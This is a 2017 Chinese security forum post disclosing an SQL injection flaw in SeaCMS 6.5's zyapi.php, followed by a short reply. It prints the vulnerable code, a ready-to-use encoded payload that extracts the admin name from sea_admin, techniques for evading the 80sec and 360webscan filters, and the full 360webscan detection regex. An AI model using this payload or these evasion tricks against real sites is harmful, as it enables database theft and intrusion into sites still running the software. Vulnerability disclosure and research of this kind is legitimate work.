[【通过】] seacms6.5 鸡肋注入漏洞

[复制链接]
oboi123 发表于 2017-6-19 20:20:56 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 7

需要开启/data/admin/isapi.txt   ,当里面的数值为1时,就可以报错注入
存在漏洞的页面:zyapi.php  
function cj()
{
        global $dsql,$rtype,$rpage,$rkey,$rday,$action,$app_apiver,$app_apipagenum,$cfg_basehost,$ids;
        $xmla = "<?xml version=\"1.0\" encoding=\"utf-8\"?>";
        $xmla .= "<rss version=\"".$app_apiver."\">";

        $sql = "select d.*,p.body as v_playdata,p.body1 as v_playdata1,t.tname from sea_data d left join `sea_type` t on t.tid=d.tid left join `sea_playdata` p on p.v_id=d.v_id where d.v_recycled=0 ";
        $sql1 = "select count(*) as dd from sea_data where v_recycled=0 ";
       
        if($ids!=""){
                $ids = addslashes($ids);
                $sql .= " AND d.v_id in (". $ids .")";
                $sql1 .= " AND v_id in (". $ids .")";
        }
$ids没加引号。get方式
payload:
/zyapi.php?ac=videolist&ids=1%29and%0b1%3D%40%60%27%60%0band%0b%28updatexml%281%2Cconcat%23%0a%281%2C%28select%0b%7Bx+name%7D%0bfrom%0bsea_admin%29%29%2C1%29%29and%0b1%3D%40%60%27%60%0band%0b%280.1%3D0.1
入库以后有句话,可把我难受死了,trim()函数,最后用+和%0b 来绕过。折腾了好久,下次要记住了。空格都用+来替换是不行的。
if(!m_eregi("limit",$sql)) $this->SetQuery(m_eregi_replace("[,;]$",'',trim($sql))." limit 0,1;");
t1.png
上面的payload解释一下,@'`' @'`'来绕过80sec的防注入代码。 concat%23%0a()来绕过80sec防注入,select {x+name} from sea_admin 是绕过360webscan的正则匹配。
\<.+javascript:window\[.{1}\\x|<.*=(&#\d+?;?)+?>|<.*(data|src)=data:text\/html.*>|\b(alert\(|confirm\(|expression\(|prompt\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\b(group_)?concat[\s\/\*]*?\([^\)]+?\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\()|<[a-z]+?\b[^>]*?\bon([a-z]{4,})\s*?=|^\+\/v(8|9)|\b(and|or)\b\s*?([\(\)'"\d]+?=[\(\)'"\d]+?|[\(\)'"a-zA-Z]+?=[\(\)'"a-zA-Z]+?|>|<|\s+?[\w]+?\s+?\bin\b\s*?\(|\blike\b\s+?["'])|\/\*.*\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|").*?(`|'|")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|").*?(`|'|")\s*)SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)

get 360webscan 正则
正则测试推荐网站:https://regex101.com/




评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

playwind 发表于 2017-6-21 19:06:38 | 显示全部楼层

正式成员|主题 |帖子 |积分 168

威武  默认情况下好像不是一吧
快速回复 返回顶部 返回列表